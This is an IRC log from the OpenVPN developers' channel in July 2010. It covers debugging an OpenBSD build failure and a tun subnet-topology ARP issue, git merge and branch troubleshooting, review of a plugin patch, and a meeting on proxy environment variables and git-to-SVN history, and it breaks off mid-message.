/usr/include/net/pfil.h:79: error: parse error before "u_long" 06:25 <@dazo> that's right ... krzie have you seen if the network got configured correctly? as a proper subnet? 06:26 < krzie> tun0: flags=9843 mtu 1500 06:26 < krzie> lladdr fe:e1:ba:d4:d1:54 06:26 < krzie> priority: 0 06:26 < krzie> groups: tun 06:26 < krzie> status: active 06:26 < krzie> inet 10.8.100.1 netmask 0xffffff00 broadcast 10.8.100.255 06:26 < krzie> inet6 fe80::fce1:baff:fed4:d154%tun0 prefixlen 64 scopeid 0x5 06:26 < krzie> Wed Jul 7 07:22:28 2010 us=622656 home/10.0.0.7:51119 SENT CONTROL [home]: 'PUSH_REPLY,route-gateway 10.8.100.1,topology subnet,ping 10,ping-restart 120,ifconfig 10.8.100.2 255.255.255.0' (status=1) 06:27 < krzie> Wed Jul 7 07:22:27 2010 us=700027 PUSH: Received control message: 'PUSH_REPLY,route-gateway 10.8.100.1,topology subnet,ping 10,ping-restart 120,ifconfig 10.8.100.2 255.255.255.0' 06:27 < krzie> Wed Jul 7 07:22:27 2010 us=705974 /sbin/ifconfig tun1 10.8.100.2 10.8.100.2 netmask 255.255.255.0 mtu 1500 up 06:27 < krzie> Wed Jul 7 07:22:27 2010 us=717678 /sbin/route add -net 10.8.100.0 10.8.100.2 255.255.255.0 06:27 < krzie> add net 10.8.100.0: gateway 10.8.100.2 06:27 < ecrist> ahhh the pasting 06:28 < krzie> g'mornin 06:29 <@dazo> krzie: that looks good on first sight though ... 06:29 < krzie> looks good to me 06:29 < krzie> just doesnt ping 06:30 <@cron2> krzie: what happens in "tcpdump -n -i tun0" when you ping? 06:31 * cron2 has a nagging suspicion (FreeBSD/topology subnet/IPv6 fails because it wants to do neighbour discovery, so maybe it tries to ARP on tun if or so) 06:31 <@cron2> tcpdump on server and client :) 06:31 < krzie> 07:31:23.501667 arp who-has 10.8.100.2 tell 10.8.100.1 06:31 < krzie> 07:31:24.511393 arp who-has 10.8.100.2 tell 10.8.100.1 06:31 < krzie> 07:31:25.521233 arp who-has 10.8.100.2 tell 10.8.100.1 06:31 < krzie> 07:31:26.531197 arp who-has 10.8.100.2 tell 10.8.100.1 06:32 < krzie> nice suspicion 06:34 < krzie> thats obsd pinging osx, client sees nothing 06:34 <@cron2> mmmh, funny. I can't see any use of TOP_* in the OpenBSD specific bits of tun.c 06:34 <@cron2> krzie: yes, that's to be expected, OpenVPN/tun mode doesn't handle ARP ("because there is no layer 2 information to ARP for") 06:35 < krzie> when client pings server, server sees this 06:35 < krzie> 07:34:41.846607 00:54:be:00:00:00 00:00:00:02:45:00 4001 88: 06:35 < krzie> e095 0a08 6402 0a08 6401 0800 fc4e 5e61 06:35 < krzie> 0006 5066 344c 1f94 0e00 0809 0a0b 0c0d 06:35 < krzie> 0e0f 1011 1213 1415 1617 1819 1a1b 1c1d 06:35 < krzie> 1e1f 2021 2223 2425 2627 2829 2a2b 2c2d 06:35 < krzie> 2e2f 3031 3233 3435 3637 06:37 <@cron2> I defer debugging this to someone who has the OpenBSD kernel sources around and can figure out under which circumstances obsd sends an ARP packet down a *tun* interface 06:37 <@cron2> ... and then we can figure out how to work around this in openvpn. 06:38 <@cron2> there currently is no special-case code for TOP_SUBNET in tun.c, but for other platforms (e.g. OSX) there *is*, so that might be the problem 06:39 < krzie> also since source cant compile we cant verify its not obsd only 06:39 < krzie> err the port only 06:39 <@cron2> krzie: just change config.h after configure to say "#define HAVE_NET_IN_H" and it will compile just fine 06:40 <@cron2> uh, NET_IF, that is 06:40 <@cron2> #undef HAVE_NET_IF_H 06:40 <@cron2> this one, change to 06:40 <@cron2> #define HAVE_NET_IF_H 1 06:40 < fkr> cron2, krzie: we have the whole setup here at work 06:40 < fkr> i can debug that 06:40 < fkr> just not today :/ 06:41 < fkr> today is a short day for me and that is filled with tons of other crap 06:43 * cron2 wants krzie to just test this single-line change so we can be sure it's just that bit 06:51 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 06:54 <@cron2> *sigh*, scared him away 07:01 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 07:03 < krzie> defined that 07:03 < krzie> testing 07:03 <@cron2> so it compiled? 07:04 < krzie> dunno yet 07:05 < krzie> nah same error 07:06 <@cron2> change config.h *after* running configure :) 07:06 < krzie> doh 07:06 < krzie> its already that after configure 07:07 < krzie> oh no bad eyes 07:09 < krzie> works 07:09 < krzie> # openvpn --version 07:09 < krzie> OpenVPN 2.1.1 i386-unknown-openbsd4.7 [SSL] built on Jul 7 2010 07:20 <@cron2> ok, cool. so we "just" need to fix configure then - no idea how to do that. 07:21 * cron2 points at dazo 07:23 <@dazo> cron2: so to catch up again ... for some reason HAVE_NET_IF_H is not detected thus not defined on OpenBSD? 07:24 < krzie> yes 07:24 < krzie> when defined manually it compiles 07:24 <@dazo> krzie: which OpenBSD version? 07:24 < krzie> tested on 4.5 and now 4.7 07:24 < krzie> 4.7 being newest 07:24 < krzie> tested with rc15 and 2.1.1 07:24 * dazo will need to install OpenBSD on a VM .... might not have time for that today, though ... 07:25 < krzie> well the fix only tested with 2.1.1 07:25 < krzie> but same error was in 2.1rc15 07:25 <@dazo> yeah, it's sounds like a configure/autotools issue ... need to look deeper into that 07:25 <@cron2> dazo: yes. you can't compile "#include " on its own on FreeBSD (and seemlingly OpenBSD), so it fails -> "we don't have net/if.h" 07:26 < krzie> when in net30 and using ifconfig-push in a ccd, if you use ifconfig-push IP subnet, shouldnt it error this: 07:26 < krzie> Apr 14 16:12:00 lnx152-dom0 openvpn[22072]: WARNING: Since you are using --dev tun with a point-to-point topology, the second argument to --ifconfig must be an IP address. You are using something (255.255.255.0) that looks more like a netmask. (silence this warning with --ifconfig-nowarn) 07:26 <@cron2> dazo: you need to #include before to maek it work 07:26 < krzie> because i just tested on fbsd and obsd, no error 07:26 < krzie> it gives the ip and subnet, then just doesnt work 07:26 <@dazo> cron2: aha! That makes sense 07:27 <@cron2> dazo: very much an autotools issue, but my understanding of autoconf is limited to "run it" and "read the log if something fails" 07:27 < krzie> i grabbed that error from google because i knew i remembered it 07:27 <@dazo> cron2: yeah, something like that 07:28 <@dazo> krzie: did JJK write something about that in the book we're reviewing now? chapter 2 or 3, iirc 07:28 <@cron2> krzie: the topology stuff is new in 2.1, and it seems it didn't get enough testing on obsd yet (and in combination with ccd/ options) 07:28 <@dazo> or that was something in regards to openvpn 2.0 clients 07:32 <@cron2> mmmh 07:32 <@cron2> configure.ac looks fairly straightforward here 07:32 <@cron2> *testing* 07:51 <@cron2> patch attached to trac#17 07:51 * cron2 goes back to sleep^W work 07:58 <@dazo> cron2: thx! 08:26 < krzie> dazo, have you gotten chapter 4? 08:26 <@dazo> krzie: nope, you? 08:26 < krzie> first 2 i did in 1 day, then chap3 took 1 day longer than she asked for 08:26 < krzie> i havnt heard back 08:27 < krzie> even sent a message asking if there was a chapter 4 that they wanted me to review, no response 08:27 <@dazo> I told her that I had no time for chapter 2 before this weekend, so I sent that one late Sunday ... and chapter 3 yesterday around noon ... but not heard anything either 08:28 <@dazo> maybe holiday? 08:28 < krzie> this way like the 29th iirc 08:28 < krzie> was* 08:36 <@dazo> hmm ... I got chapter 2 and 3 the 28th ... maybe JJK is still writing it :) 08:53 <@cron2> what sort of book is this? 08:53 <@dazo> cron2: OpenVPN Cookbook, is the working title 08:54 <@cron2> cool. jjk is authoring it? 08:54 <@dazo> yupp 08:56 <@cron2> ambitious project, with all the change that's going on inside OpenVPN right now and all the new features showing up 08:57 <@dazo> yeah :) Well, the publisher (Packt) released an OpenVPN 2.0.9 book soon after 2.1 was released ... so ... :-P 08:58 <@cron2> so what's the scope? 2.1, 2.2, 2.3? 08:59 <@dazo> it seems to be 2.1 related ... 2.2 and 2.1 will not be that different though 08:59 <@cron2> indeed, only small feature changes 08:59 <@dazo> in terms of configuration 09:00 <@dazo> 2.3 with IPv6 ... that's a bigger one, though :) 09:10 <@cron2> maybe put that into an appendix "things on the roadmap" :) 09:13 <@dazo> yeah :) 10:24 -!- dazo is now known as dazo_afk 14:05 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 14:39 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 14:41 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 14:47 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 14:51 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 16:27 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] --- Day changed Thu Jul 08 2010 00:54 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 265 seconds] 00:56 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 01:10 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 01:11 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:24 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 01:36 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 01:37 <@mattock> hmm... what to discuss today... 01:44 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 02:19 -!- dazo_afk is now known as dazo 02:21 <@dazo> mattock: can we be sure to get james with us today? ... then pushing to SVN would be a topic 02:21 <@dazo> mattock: or else, a buildbot update - how to get -testing packages ready for more distros 02:27 <@dazo> mattock: https://community.openvpn.net/openvpn/ticket/17 ... needs testing on OpenBSD - just to raise the attention to james on this one as well 02:27 < vpnHelper> Title: #17 (build failure on OpenBSD 4.7 IFF_MULTICAST) – OpenVPN (at community.openvpn.net) 02:30 <@dazo> mattock: there's also another bug being debugged with OpenBSD as well, which krzee discovered lately - broken topology subnet 02:44 <@dazo> chantra: I've been going through your openvpn_accounting.patch ... Do you know if other than you do use or need such a feature? The patch (functionally) looks good. (There are some whitespace stuff which is making the patch look a little bit bigger than needed, but that's no problem right now - but please beware of this next time) ... My only worry is: What will happen to connections if the plug-in spends some 10-15 seconds doing its "t 02:44 <@dazo> hing" - how will that influence connected clients? Will they "freeze"? ... you need to remember that OpenVPN is single-threaded, so OpenVPN does not by nature do things in parallel 02:56 < chantra> dazo: yeah, this is why i usually handle auth... in a separate thread 02:56 < chantra> dazo: if there is some interest in it, i would like to make that plugin call be able to return _DEFERRED 02:56 <@cron2> mattock: I won't be able to attend today (but then, I don't have anything important right now - trac#17 is obvious as soon as the OpenBSD crowd confirms that it fixes the issue for them as well) 02:57 < chantra> in my use case idea, i would have just returned _SUCCESS all the time, have a perclient connection with the next update interval and return this the next time it is called 02:57 < chantra> so i would prevent the potential hangs 02:57 <@dazo> chantra: as the other plug-in interfaces handles _DEFERRED ... I think this new API should not be any different 02:58 <@dazo> ones this gets included into OpenVPN - then we need to support it, so rather to fix such things asap than to postpone it in case someone might want to use it 02:58 <@dazo> s/ones/once/ 03:00 <@cron2> dazo: do you have 5 minutes to verify that I got "git" right? 03:00 < chantra> dazo: i would go for it, was just not sure if it was worth spending the time on it (in case it would have not being a potential candidate to be included) 03:00 <@dazo> cron2: sure! 03:00 <@dazo> cron2: where? 03:00 < chantra> but if it is worth it, than i will look into it 03:00 <@cron2> here :) - I just want to be sure that I got the merging thing right, before pushing stuff to berni's repository 03:01 <@cron2> first thing I did: "git clone ...openvpn-testing.git" 03:01 <@cron2> then I checked out "git branch remotes/origin/feat_ipv6_payload" 03:01 <@cron2> then I merged "git merge remotes/origin/feat_ipv6_wintap" 03:02 <@cron2> got two conflicts, in tun.c and windefs.h, edited conflicts, did "git add $files" and "git commit" 03:02 <@cron2> so if that is the right way, I could push the stuff to berni now 03:03 <@dazo> chantra: I am personally not convinced we need this plug-in, as we have the management API - which can solve a similar issue. But I see that someone might find it more suitable to have as a plug-in, so I won't object to that .... and I do see that this plug-in then need to have the same characteristics as the other plug-in hooks do have 03:03 <@dazo> cron2: that do sound correct 03:03 <@dazo> cron2: did you do commit -s | --signed-off ? 03:04 <@dazo> (--signoff, that is) 03:04 <@cron2> dazo: oh, good point. not yet. can I do this "after the fact"? 03:04 <@dazo> cron2: git commit --amend 03:05 <@dazo> that gives you the chance to modify the last commit log after it's been committed .... but don't do this if you've pushed it, as that can create some real hassle 03:05 <@dazo> (or it' 03:05 <@cron2> so that would be "git commit -s --amend" then? 03:05 <@dazo> yeah :) 03:06 <@dazo> it might not be a hassle if being pushed ... you can always do git push --force ... *but* if someone else have pulled the tree in the mean time, then you're in trouble 03:06 <@cron2> commit 9dfebb7ec62a1287e605fa76118c87e5b97e8183 03:06 <@cron2> Merge: 7dea080 cbc1228 03:06 <@cron2> Signed-off-by: Gert Doering 03:06 <@cron2> \o/ 03:06 <@dazo> perfect! 03:07 <@cron2> mmmh 03:07 <@cron2> there is something I don't fully understand yet 03:07 <@cron2> when I do git push --dry-run gert remotes/origin/feat_ipv6_payload:master 03:07 <@cron2> it will tell me 03:07 <@cron2> To gitosis@compile.svr01.mucip.net:openvpn-gert.git d7f4986..7dea080 origin/feat_ipv6_payload -> master 03:08 <@cron2> but that is not the commit I just did...? 03:08 <@cron2> also, "git branch" looks a bit weird: 03:08 <@cron2> * (no branch) 03:08 <@cron2> master 03:08 <@cron2> remotes/origin/HEAD -> origin/master 03:08 <@cron2> remotes/origin/allmerged 03:09 <@cron2> ... 03:14 <@cron2> dazo: you're still there? :) 03:14 <@dazo> cron2: yeah ... got distracted :) 03:14 <@dazo> hmm 03:15 <@dazo> gitosis@compile.svr01.mucip.net:openvpn-gert.git ... is that your "old" tree? 03:15 <@dazo> or is it a completely new one? 03:15 <@dazo> what does 'git status' tell you? 03:16 <@dazo> (no branch) often means that you are in the middle of a merge or rebase ... 03:16 <@dazo> or that you checked out a commit ID which is not a branch or tag 03:18 <@dazo> correction: if you do git checkout ... you'll get (no branch) ... only branches does not give you that 03:27 <@cron2> so now I got distracted... daughter... 03:27 <@dazo> :) 03:27 <@dazo> that's a nice distraction :) 03:27 <@cron2> openvpn-gert.git is "my old tree", and it has no branches, everything is "master" 03:28 <@cron2> git status: 03:28 <@cron2> # Not currently on any branch. 03:28 <@cron2> # Untracked files: 03:28 <@cron2> # (use "git add ..." to include in what will be committed) 03:28 <@cron2> # 03:28 <@cron2> # Makefile.in 03:28 <@cron2> # aclocal.m4 03:28 <@cron2> # autom4te.cache/ 03:28 <@cron2> ... 03:28 <@cron2> # missing 03:28 <@cron2> # service-win32/Makefile.in 03:28 <@cron2> nothing added to commit but untracked files present (use "git add" to track) 03:29 <@dazo> hmm 03:30 <@dazo> ahhh ... could it be ... remotes/origin/feat_ipv6_payload:master ... that it should say feat_ipv6_payload:master ? 03:30 <@dazo> (it does not explain why you're not in a branch though) ... or maybe ... 03:30 <@dazo> how did you do the checkout? 03:31 <@dazo> of the remotes/origin/feat_ipv6_payload branch? 03:31 <@dazo> gah! 03:31 <@dazo> I see the trouble ... I overlooked something 03:32 <@cron2> "git checkout remotes/origin/feat_ipv6_payload", with the full path 03:32 <@dazo> yeah ... that should be: git checkout -b feat_ipv6_payload remotes/origin/feat_ipv6_payload 03:32 <@dazo> or else you don't assign it a local branch name 03:32 <@dazo> thus you got (no branch) 03:32 * dazo begins to wake up! 03:33 <@cron2> I didn't want a local branch name :-) (but seems that was not what git needed) 03:33 <@cron2> is there a way to fix this "on the fly", or is it easier to go back and re-do the merge? 03:33 <@cron2> (the merge is not much work) 03:33 <@dazo> I've never really tried to rename (no branch) 03:33 <@dazo> but you can try to do: git branch feat_ipv6_payload 03:34 <@dazo> (that means: branch the commit where I am now to feat_ipv6_payload) 03:34 <@cron2> ok 03:34 <@cron2> and then "git checkout feat_ipv6_payload"? 03:36 <@dazo> yeah, that's probably right 03:36 <@cron2> ok, done so, "git log" shows the commit message just fine 03:36 <@dazo> good! 03:37 <@cron2> then let's re-try the push, but with "feat_ipv6_payload" and not "remotes/..." 03:37 <@dazo> then git push gert feat_ipv6_payload:master .... *but* I think this will give you some strange conflicts 03:37 <@dazo> as the master branch there is not based on the branch tree you are now using 03:37 <@dazo> but it's possible to do some magic there as well :) 03:37 <@cron2> well, it isn't, but shouldn't git this sort out all on its own? 03:38 <@cron2> all the commits except the last merge should be the same anyway 03:38 <@cron2> push --dry-run shows the right commit IDs now 03:38 <@cron2> d7f4986..9dfebb7 feat_ipv6_payload -> master 03:38 <@cron2> I'll ask berni to backup the repo first :) 03:39 <@dazo> yeah, a backup is nice :) 03:41 <@dazo> well, git often denies to do things which might look stupid ... like trying to push a branch from tree B to a branch which is based on tree A ... but if the roots of tree A and tree B are identical, that tree B is just longer, then it usually goes fine 03:49 <@cron2> hmmm, berni is hiding, no backup yet... (but I have already seen him in IRC today) 03:50 <@dazo> well, a simple but just as good backup ... that's another git clone of your remote repository 03:51 <@dazo> the remote repository contains the same stuff that's in your local .git/ directory 03:51 <@dazo> nothing more, nothing less 03:51 <@cron2> interesting :) 04:25 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 252 seconds] 04:40 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 05:22 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 07:20 <@cron2> dazo: just pushed to berni, but he's confused 07:20 <@dazo> cron2: whoops ... 07:20 <@cron2> where is feat_ipv6_payload in your tree currently branched off? 07:20 * dazo tries to think 07:20 <@dazo> it's either master or bugfix2.1 ... *checking* 07:21 <@cron2> berniv6 said something about "beta2.2" 07:21 <@dazo> nope ... beta2.2 is a fresh start, where I just merge things into ... not out of 07:21 -!- berniv6 [~berni@fliwatuet.birkenwald.de] has joined #openvpn-devel 07:21 <@dazo> ahh :) 07:22 <@dazo> talking about the sun, I presume :) 07:22 <@cron2> pulling him here, to avoid having to proxy back and forth 07:22 <@dazo> sounds good :) 07:22 * berniv6 looks confused 07:22 <@dazo> berniv6: I understand I've confused you somehow ... 07:22 <@cron2> there's lots of new changes from James in the push I sent to berni... 07:23 <@dazo> cron2: that sounds odd ... is it possible for me to clone your tree, so I can have a look at it? 07:23 <@cron2> dazo: now it gets interesting :-) - just tell me what to do 07:24 < berniv6> dazo: git://git.birkenwald.de/openvpn-gert.git 07:24 * dazo pulls 07:24 <@cron2> well, that's where I just pushed everything to 07:24 < berniv6> cron2 says he cloned your testing tree, changed to feat_ipv6_payload, merged the tap driver and that's it 07:24 <@dazo> cron2: to the master branch? 07:24 <@cron2> dazo: yes, there is only "master" in there 07:24 <@dazo> berniv6: yeah, that's what I've been guiding him to do yes 07:25 < berniv6> however it now contains tons of recent bugfixes from James which definitely have not been in before 07:25 < berniv6> hm, but maybe in the tap driver branch? 07:25 <@dazo> hmm 07:25 * berniv6 checks 07:25 < berniv6> ah, here we go 07:25 <@dazo> ahh ... whoops ... 07:25 < berniv6> your feat_ipv6_wintap contains bugfixes 07:25 <@cron2> aha :) 07:25 <@dazo> I based it on bugfix2.1, not master ... that might be my mistake! 07:26 * dazo fires up giggle to get a better branch map 07:27 <@dazo> nope ... it's based on James' SVN-beta21 branch, I see 07:27 <@dazo> so that has picked in his changes 07:27 <@dazo> grrr 07:27 <@cron2> this explains the conflict I had in tun.c, which really looked weird 07:27 <@cron2> (some "const" addition to something I couldn't remember ever having touched) 07:29 <@dazo> that is probably the case yes! 07:29 <@cron2> I think we need to roll this back - otherwise I have beta2.1 changes in feat_ipv6_payload now, which makes tracking of changes a bit harder 07:31 < berniv6> gotta run, be back in 20 07:31 <@cron2> have fun, we'll sort this out :) 07:34 <@dazo> cron2: I agree 07:35 <@dazo> which basically means that I need to find the starting commit for your feat branch, and move the wintap stuff over there 07:35 <@cron2> yep. and then I either scratch the clone I have and redo everything or git will do magic fixing 07:35 <@cron2> berniv6 did a backup, so his side is easy 07:36 <@dazo> :) 07:37 <@dazo> well, you will need to just delete those branches when I'm done 07:37 <@dazo> I'll have a look into this later in the evening 07:38 <@cron2> ok. 07:38 <@cron2> I'll around until 19:00 today, and then tomorrow morning again (and since this is not overly urgent, no problem here) 07:39 <@dazo> perfect ... yeah, I might look at it when I come home from work ... which means 18:00+ 07:39 <@cron2> cool 07:40 <@dazo> does commit 1d317a9df16c04fc54b5869a7bbd4f15c0b165a9 sound like a reasonable branching point for feat_ipv6_wintap? 07:40 <@cron2> yes. I think we re-based feat_ipv6_wintap at some point, and this sounds like it 07:41 <@dazo> ahh ... well, I suddenly began to be uncertain if even that was wrong ... 07:41 <@dazo> hmm ... long living branches can be challenging in the future, I see 07:42 <@dazo> cron2: better get started on beta2.3 soon!! :-P 07:42 <@cron2> we'll have to do some rebasing every now and then... :) 07:42 <@dazo> yeah, if we can rebase on beta2.2 when James approves that branch, that would probably be great 07:44 <@dazo> cron2: I think commit 2033e17e8a2 is better branching point, the commit before your 175e17a5abd5969f6 07:44 <@cron2> something like that. Maybe don't do that before 2.2 release or so (so I can still generate patches that apply to a "release version") 07:45 <@dazo> (which is the wintap update) 07:45 <@dazo> cron2: sure, no prob ... we'll figure it out! 07:46 <@cron2> dazo: mmmh, I'm not sure - I think the feat_ipv6_tap really should only have this single change related to "master", so the first branch point sounds better 07:47 <@cron2> but maybe I'm confused 07:47 <@cron2> how can I see what changes happened *in branch master* between these two commit points? 07:48 <@dazo> git log .. 07:48 <@cron2> will that know which branch these happened? 07:48 <@cron2> mmh, nah, that will show the diffs "in my current branch" 07:48 <@dazo> good question ... I usually use giggle for getting such overview better 07:49 <@dazo> (but gitk is also a good alternative) 07:50 <@cron2> ah 07:50 <@cron2> git log from..to -- master 07:51 <@cron2> "no change" 07:51 <@cron2> so it doesn't really matter which of these commit points we chosse :-) 07:51 <@cron2> choose even 07:51 <@dazo> ahh ... perfect! 10:17 < krzee> oh mattock i have something for the meeting... 10:18 < krzee> i believe there is a warning when you give a subnet as second argument in ifconfig-push (i have seen it before) 10:18 < krzee> in net30 topology 10:18 < krzee> that warning doesnt show up in freebsd, or openbsd 10:18 < krzee> (probably same with netbsd) 10:19 < krzee> it accepts the ifconfig-push, gets a topology subnet style ifconfig, and doesnt work because of that 10:20 < krzee> ild like confirmation from fkr if source compiles clean in openbsd with cron2's patch... because my friend said it still does not for him (he has lzo enabled, i didnt get time to try it with lzo, mine had --disable-lzo) 10:24 <@cron2> lzo or not should not affect IFF_MULTICAST errors - but lzo is prone to cause configure errors, it's not too smart in detecting the lzo library 10:24 <@cron2> and yes, I'd like to see that confirmation as well, so we can close that trac :-) 10:30 < krzee> right right 10:30 < krzee> your patch completely solved the error it was meant to solve for me 10:30 < krzee> with --disable-lzo i got errors, the line you had me change solved that 10:30 < krzee> so any error when lzo is enabled would be separate 10:43 < krzee> the errors were not from detection, they were with build options to point to lzo libs 10:45 < krzee> ahh nevermind, you were right 10:45 < krzee> it WAS in finding the libs 10:45 < krzee> --with-lzo-lib=/usr/local/lib lets it build 11:09 -!- dazo is now known as dazo_gone 11:09 -!- dazo_gone is now known as dazo_gone_afk 11:59 <@cron2> so... off to party... no meeting tonight :) 12:00 < krzee> enjoy! 12:56 -!- dazo_gone_afk is now known as dazo 12:59 * dazo prepares his fingers for a chat meeting 13:01 <@mattock> ok, finally here... 13:02 < ecrist> looks like the forum at least has a logo now... 13:03 <@dazo> krzee: funny discussions you've had on ##openvpn :) 13:04 * dazo tries to get ipv6 up'n'running on a Gentoo based fw ... hmmmm 13:05 <@mattock> ok, topic list mostly up-to-date: https://community.openvpn.net/openvpn/wiki/Topics-2010-07-08 13:05 < vpnHelper> Title: Topics-2010-07-08 – OpenVPN (at community.openvpn.net) 13:05 <@dazo> \o/ 13:06 <@mattock> hmm... I'd hate to email James yet again 13:06 <@dazo> mattock: will james join? 13:06 <@mattock> I guess... 13:07 <@mattock> I got to leave at ~21:50 13:07 <@mattock> what if we begin and I'll mail James at 21:15 13:07 <@dazo> mattock: you're always an optimist! 13:07 <@mattock> I have to :) 13:08 <@dazo> :) 13:08 <@mattock> how about this: Suggestion from Jason Haar: under Unix, the "http_proxy" environment variable is typically used to refer to the URL (eg http://proxy.server:portnum/) of the appropriate proxy server. Currently openvpn's "auto-proxy" only supports Windows - surely it wouldn't take >20 lines of code to check that env var for Unix systems? I know it's not a thorough solution - but there isn't one for Unix systems - that's as good as it gets... 13:08 < ecrist> by 21:15, the meeting will be long over. :) 13:09 <@mattock> ecrist: I'd love to attend that kind of meeting :) 13:09 * ecrist notes time here is UTC, which would make a meeting running past 21:15 over 3 hours long... 13:09 <@mattock> any thoughts on getting proxy settings from PROXY environment variable on UNIX? 13:09 <@dazo> mattock: ACK ... that should be easy to fix 13:10 < ecrist> mattock, that seems a simple solution 13:10 <@mattock> is the environment variable name always/usually the same? 13:10 <@mattock> like $PROXY 13:11 <@dazo> mattock: I believe it actually is $http_proxy 13:11 <@mattock> a clarification... I have to leave in 40 mins :D 13:12 <@mattock> forgot about different timezones :) 13:12 <@dazo> :) 13:12 <@mattock> ok, should we file a feature request? I don't think Jason has any code at hand 13:12 <@mattock> =ready 13:12 <@dazo> yeah, lets do that! 13:12 <@mattock> great! I'll add it to my todo list... unless I manage to file the request now 13:13 <@dazo> http://www.cyberciti.biz/faq/linux-unix-set-proxy-environment-variable/ 13:13 < vpnHelper> Title: How To Use Proxy Server To Access Internet at Shell Prompt With http_proxy Variable (at www.cyberciti.biz) 13:14 <@mattock> good link 13:14 <@mattock> ok, so this OpenBSD build failure would require James? 13:14 <@mattock> https://community.openvpn.net/openvpn/ticket/17 13:14 < vpnHelper> Title: #17 (build failure on OpenBSD 4.7 IFF_MULTICAST) – OpenVPN (at community.openvpn.net) 13:15 <@dazo> I believe we just needed a verification from krzee that the patch does work ... and today I believe he gave a positive answer here 13:15 <@dazo> so I'm about to ACK that patch, it looks good 13:15 <@dazo> as a side note: I'm just wondering if we should anyway have these patches sent to the mailing list as well 13:15 <@mattock> ok, great! 13:16 <@dazo> what we do need to make James aware of is that we have found troubles with 'topology net30' on OpenBSD 13:16 <@mattock> I think we should... the more eyes look at the patches the better 13:16 <@mattock> ...I'll mail James 13:16 <@dazo> yeah .... I can ping cron2 about that 13:16 <@dazo> cron2 wrote that patch 13:18 <@dazo> ecrist: /me is thinking about $http_proxy env variable ... is that also valid on *BSD? 13:20 <@mattock> ok, mail sent 13:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:21 < jamesyonan> hi 13:21 <@dazo> Hi, James! 13:21 <@dazo> Good you're here! 13:22 <@mattock> dazo: *BSD _might_ support HTTP_PROXY: http://www.ivorde.ro/Setting_up_HTTP_PROXY_via_command_line_in_Linux_FreeBSD-107.html 13:22 < vpnHelper> Title: Set up HTTP PROXY via command line in Linux/FreeBSD - Networking Devices (at www.ivorde.ro) 13:22 <@dazo> it's a rather silent meeting today ... but that gives us better possibilities to look at the SVN push I did some weeks ago, which I'm reluctant to call a success 13:22 <@mattock> I guess it's a "de facto" standard 13:22 < ecrist> dazo: no idea, I don't use proxy servers on freebsd 13:22 <@dazo> mattock: that's what I wanted to be sure about :) 13:23 < ecrist> it appears to be standard, though. 13:23 < ecrist> HTTP_PROXY, that is, on freebsd 13:23 <@mattock> standard similarly to "#/your/shell/here" at the beginning of a script :D 13:24 <@dazo> yeah ... Linux seems to be http_proxy and not HTTP_PROXY ... but we can look for both 13:24 < ecrist> you mean #!/path/to/interpreter 13:24 <@mattock> ecrist: good correction 13:24 <@dazo> nah, it's gonna be C code ... getenv("http_proxy") and getenv("HTTP_PROXY") 13:24 <@dazo> ahh 13:24 * dazo misreadh 13:24 < krzee> [11:17] I believe we just needed a verification from krzee that the patch does work ... and today I believe he gave a positive answer here 13:25 < krzee> i never tried the patch, i tried the result of it (defining it in config.h) 13:25 < krzee> i did that before the patch existed 13:25 <@dazo> krzee: aha .. would you be so kind to try out that patch? 13:25 <@mattock> jamesyonan: did you read dazo's email about the SVN beta 2.2 issues? 13:25 <@mattock> ...already 13:25 < krzee> work is insane today because we go live on the new system AND new phone system and database and all, so i have to wait til after work 13:25 < krzee> yes, i certainly will, tonight 13:26 < krzee> we go live on monday, hectic til then preparing 13:26 <@dazo> krzee: cool thx! Anyway, cron2 should mail the patch to the ML as well, to get more eyes on it too 13:27 <@mattock> hmm... I wonder if we could make Trac mail any attached patches to the mailing list automatically... 13:27 <@dazo> krzee: good luck with the upgrades :) 13:27 < jamesyonan> mattock: yes, I did -- unfortunately, I'm not very familiar with git <-> svn conversions 13:27 <@dazo> jamesyonan: that's fair enough 13:27 <@dazo> I can explain why some of this happens 13:28 < krzee> thanx =] 13:28 <@dazo> as SVN is centralised, it has a list over valid people who can do commits ... while git is de-centralised, thus there is no central database over valid committers ... so basically git eats whatever the committer is (it needs to be an e-mail address though, but it can by all means be a fake one) 13:30 <@dazo> the other thing is that git tries to keep the history as accurate as possible ... it takes no shortcuts .... so when I have an empty branch, and does a push to this SVN branch .... it will go all the way back, and commit each commit from git separately - and in this process rewrite committer to me 13:30 <@dazo> that is kind of the results we're having now 13:31 <@dazo> This might be very fine ... *but* it means that in the SVN revision history .... there will now exist two almost identical patches for all commits done in the BETA21 branch and the branch I was given 13:31 <@dazo> the only difference is the committer 13:31 <@dazo> and this, I believe might not be so good. 13:32 <@dazo> So I see two possible solutions ... both includes scrapping the current SVN branch I was given and "start from scratch" 13:32 <@dazo> solution A) I will compress all the OpenVPN history until the community patches comes in ... and then push that as one single commit to SVN 13:33 <@dazo> solution B) That my SVN branch gets prepared by James to be branched out of his latest BETA21 change .... so that I "continue" on top of that 13:34 <@dazo> The vast majority community patches do have pretty good Signed-off and Acked-by statements in the commit log, so that way we can still keep track of the commits I push to SVN 13:34 <@dazo> even though my pushes will be changed to me as the committer 13:35 < jamesyonan> I have a python script that I use for svn merging of large numbers of commits from one branch to another, 